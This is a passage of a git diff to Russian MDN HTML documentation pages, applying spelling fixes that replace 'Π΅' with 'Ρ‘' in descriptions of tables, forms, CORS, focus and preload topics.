<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π²Π΅Π±-страницС Π² понятной, доступной Ρ„ΠΎΡ€ΠΌΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ. Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π±Π°Π·ΠΎΠ²ΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ Ρ‚Π°Π±Π»ΠΈΡ†, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ слоТныС особСнности, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΈ описаний.</dd>
<dt><a href="/ru/docs/Learn/HTML/Forms">HTML-Ρ„ΠΎΡ€ΠΌΡ‹</a></dt>
<dd>Π€ΠΎΡ€ΠΌΡ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ Π’Π΅Π±Π° β€” ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π°, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ³ΠΎ для взаимодСйствия с Π²Π΅Π±-сайтами, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ рСгистрация ΠΈ Π²Ρ…ΠΎΠ΄ Π² систСму, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΎΡ‚Π·Ρ‹Π²ΠΎΠ², ΠΏΠΎΠΊΡƒΠΏΠΊΠ° Ρ‚ΠΎΠ²Π°Ρ€ΠΎΠ², ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅. Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с созданиСм клиСнтских (client-side/front-end) частСй Ρ„ΠΎΡ€ΠΌ.</dd>
- <dt><a href="/ru/docs/Learn/HTML/Π Π΅Ρ†Π΅ΠΏΡ‚Ρ‹">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ распространСнных Π·Π°Π΄Π°Ρ‡.</a></dt>
- <dd>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ ссылки Π½Π° Ρ€Π°Π·Π΄Π΅Π»Ρ‹, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰ΠΈΠ΅ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ самых распространСнных Π·Π°Π΄Π°Ρ‡ ΠΏΡ€ΠΈ создании Π²Π΅Π±-страницы: Ρ€Π°Π±ΠΎΡ‚Π° с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, созданиС простой Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Ρ‚.Π΄.</dd>
+ <dt><a href="/ru/docs/Learn/HTML/Π Π΅Ρ†Π΅ΠΏΡ‚Ρ‹">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ распространённых Π·Π°Π΄Π°Ρ‡.</a></dt>
+ <dd>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ ссылки Π½Π° Ρ€Π°Π·Π΄Π΅Π»Ρ‹, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰ΠΈΠ΅ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ самых распространённых Π·Π°Π΄Π°Ρ‡ ΠΏΡ€ΠΈ создании Π²Π΅Π±-страницы: Ρ€Π°Π±ΠΎΡ‚Π° с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, созданиС простой Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Ρ‚.Π΄.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅_Ρ‚Π΅ΠΌΡ‹">ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅ Ρ‚Π΅ΠΌΡ‹</h2>
<dl>
- <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS: Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ изобраТСния</a></dt>
- <dd class="landingPageList">Атрибут {{htmlattrxref("crossorigin", "img")}} Π² сочСтании с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ {{glossary("CORS")}}, позволяСт Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ изобраТСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ элСмСнтом {{HTMLElement("img")}}, ΠΈΠ· Π²Π½Π΅ΡˆΠ½ΠΈΡ… источников ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² элСмСнтС {{HTMLElement("canvas")}}, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ источника.</dd>
+ <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS: Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ изобраТСния</a></dt>
+ <dd class="landingPageList">Атрибут {{htmlattrxref("crossorigin", "img")}} Π² сочСтании с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ {{glossary("CORS")}}, позволяСт Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ изобраТСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ элСмСнтом {{HTMLElement("img")}}, ΠΈΠ· Π²Π½Π΅ΡˆΠ½ΠΈΡ… источников ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² элСмСнтС {{HTMLElement("canvas")}}, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ источника.</dd>
<dt class="landingPageList"><a href="/ru/docs/Web/HTML/CORS_settings_attributes">CORS: Настройки Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²</a></dt>
<dd class="landingPageList">НСкоторыС HTML-элСмСнты, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ <a href="/ru/docs/Web/HTTP/CORS">CORS</a>, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{HTMLElement("img")}} ΠΈΠ»ΠΈ {{HTMLElement("video")}}, ΠΈΠΌΠ΅ΡŽΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>crossorigin</code> (свойство <code>crossOrigin</code>), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Π°ΠΌ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ CORS-запросы для ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΡ‹Ρ… элСмСнтом Π΄Π°Π½Π½Ρ‹Ρ….</dd>
<dt class="landingPageList"><a href="/ru/docs/Web/API/Document/hasFocus">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ фокусом Π² HTML</a></dt>
<dd class="landingPageList">DOM-Атрибут <code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> ΠΈ DOM-ΠΌΠ΅Ρ‚ΠΎΠ΄ <code><a href="/ru/docs/Web/API/Document/hasFocus">hasFocus()</a></code> ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ взаимодСйствиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с элСмСнтами Π½Π° Π²Π΅Π±-страницС.</dd>
<dt class="landingPageList"><a href="/ru/docs/Web/HTML/Preloading_content">ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ rel="preload"</a></dt>
- <dd class="landingPageList">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>preload</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("rel", "link")}} элСмСнта {{htmlelement("link")}} позволяСт ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ <a href="/ru/docs/Web/API/Fetch_API/Using_Fetch">fetch-запросы</a>Β Π² HTML {{htmlelement("head")}}, указывая рСсурсы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ вашим страницам сразу послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Π½Π° Ρ€Π°Π½Π½Π΅ΠΌ этапС ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° страницы, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ браузСром запустится основной ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° (отрисовки). Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ станут доступными Ρ€Π°Π½ΡŒΡˆΠ΅ ΠΈ с мСньшСй Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ страницы, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ руководство ΠΏΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ с <code>preload</code> (ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ).</dd>
+ <dd class="landingPageList">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>preload</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("rel", "link")}} элСмСнта {{htmlelement("link")}} позволяСт ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ <a href="/ru/docs/Web/API/Fetch_API/Using_Fetch">fetch-запросы</a>Β Π² HTML {{htmlelement("head")}}, указывая рСсурсы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ вашим страницам сразу послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Π½Π° Ρ€Π°Π½Π½Π΅ΠΌ этапС ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° страницы, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ браузСром запустится основной ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° (отрисовки). Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ станут доступными Ρ€Π°Π½ΡŒΡˆΠ΅ ΠΈ с мСньшСй Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ страницы, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ руководство ΠΏΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ с <code>preload</code> (ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ).</dd>
</dl>
</div>
@@ -77,7 +77,7 @@ translation_of: Web/HTML
<dl>
<dt class="landingPageList"><a href="/ru/docs/Web/HTML/Бсылки">Π‘ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΠΎ HTML</a></dt>
- <dd class="landingPageList">HTML состоит ΠΈΠ· <strong>элСмСнтов</strong>, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ количСством <strong>Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²</strong>. HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ связаны ΠΌΠ΅ΠΆΠ΄Ρƒ собой <a href="/ru/docs/Web/HTML/Π’ΠΈΠΏΡ‹_ссылок">ссылками</a>.</dd>
+ <dd class="landingPageList">HTML состоит ΠΈΠ· <strong>элСмСнтов</strong>, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ количСством <strong>Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²</strong>. HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ связаны ΠΌΠ΅ΠΆΠ΄Ρƒ собой <a href="/ru/docs/Web/HTML/Π’ΠΈΠΏΡ‹_ссылок">ссылками</a>.</dd>
<dt class="landingPageList"><a href="/ru/docs/Web/HTML/Element">Π‘ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΠΎ HTML-элСмСнтам</a></dt>
<dd class="landingPageList">ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ списка всСх {{glossary("Element", "элСмСнтов")}} {{glossary("HTML")}}.</dd>
<dt class="landingPageList"><a href="/ru/docs/Web/HTML/Attributes">Π‘ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΠΎ HTML-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌ</a></dt>
@@ -91,7 +91,7 @@ translation_of: Web/HTML
<dt class="landingPageList"><a href="/ru/docs/Web/HTML/ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅_ΠΌΠ΅Π΄ΠΈΠ°_Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΌΠ΅Π΄ΠΈΠ°-Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTML-элСмСнтов audio ΠΈ video</a></dt>
<dd class="landingPageList">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ {{HTMLElement("audio")}} ΠΈ {{HTMLElement("video")}} ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ. Π­Ρ‚ΠΈ элСмСнты ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΡƒΡŽ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρƒ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ возмоТностям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅ΡΡ‚ΡŒ Π² Adobe Flash ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠ»Π°Π³ΠΈΠ½Π°Ρ….</dd>
<dt class="landingPageList"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Π’ΠΈΠ΄Ρ‹ HTML-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a></dt>
- <dd class="landingPageList">HTML состоит ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π²ΠΈΠ΄ΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… контСкстах ΠΈ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ…. Π’Π°ΠΊ ΠΆΠ΅, Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π΅ΡΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ, ΠΈ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ»ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Π½ΠΈΡ…. Π­Ρ‚ΠΎ руководство ΠΏΠΎ Ρ‚Π°ΠΊΠΈΠΌ катСгориям.</dd>
+ <dd class="landingPageList">HTML состоит ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π²ΠΈΠ΄ΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… контСкстах ΠΈ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ…. Π’Π°ΠΊ ΠΆΠ΅, Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π΅ΡΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ, ΠΈ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ»ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Π½ΠΈΡ…. Π­Ρ‚ΠΎ руководство ΠΏΠΎ Ρ‚Π°ΠΊΠΈΠΌ катСгориям.</dd>
<dt class="landingPageList"><a href="/ru/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Π Π΅ΠΆΠΈΠΌ совмСстимости ΠΈ стандартный Ρ€Π΅ΠΆΠΈΠΌ</a></dt>
<dd class="landingPageList">Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠ°Ρ справка ΠΏΠΎ Ρ€Π΅ΠΆΠΈΠΌΡƒ совмСстимости ΠΈ стандартному Ρ€Π΅ΠΆΠΈΠΌΡƒ.</dd>
</dl>
diff --git a/files/ru/web/html/inline_elements/index.html b/files/ru/web/html/inline_elements/index.html
index 86db377c64..5fa033a73e 100644
--- a/files/ru/web/html/inline_elements/index.html
+++ b/files/ru/web/html/inline_elements/index.html
@@ -16,7 +16,7 @@ original_slug: Web/HTML/Π‘Ρ‚Ρ€ΠΎΡ‡Π½Ρ‹Π΅_Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹
<h3 id="HTML">HTML</h3>
-<pre class="brush: html">&lt;p&gt;Π­Ρ‚ΠΎΡ‚ элСмСнт &lt;span&gt;span&lt;/span&gt; строчный; Ρ†Π²Π΅Ρ‚ Π΅Π³ΠΎ Ρ„ΠΎΠ½Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ ΠΊΠΎΠ½Π΅Ρ† элСмСнта.&lt;/p&gt;</pre>
+<pre class="brush: html">&lt;p&gt;Π­Ρ‚ΠΎΡ‚ элСмСнт &lt;span&gt;span&lt;/span&gt; строчный; Ρ†Π²Π΅Ρ‚ Π΅Π³ΠΎ Ρ„ΠΎΠ½Π° ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ ΠΊΠΎΠ½Π΅Ρ† элСмСнта.&lt;/p&gt;</pre>
<h3 id="CSS">CSS</h3>
diff --git a/files/ru/web/html/using_the_application_cache/index.html b/files/ru/web/html/using_the_application_cache/index.html
index 2ed99d36b9..89a4a71d52 100644
--- a/files/ru/web/html/using_the_application_cache/index.html
+++ b/files/ru/web/html/using_the_application_cache/index.html
@@ -35,11 +35,11 @@ original_slug: Web/HTML/ИспользованиС_ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ_ΠΏΡ€ΠΈ
</ul>
<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС процСсса Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΈ обновлСния кэша прилоТСния:</p>
<ol>
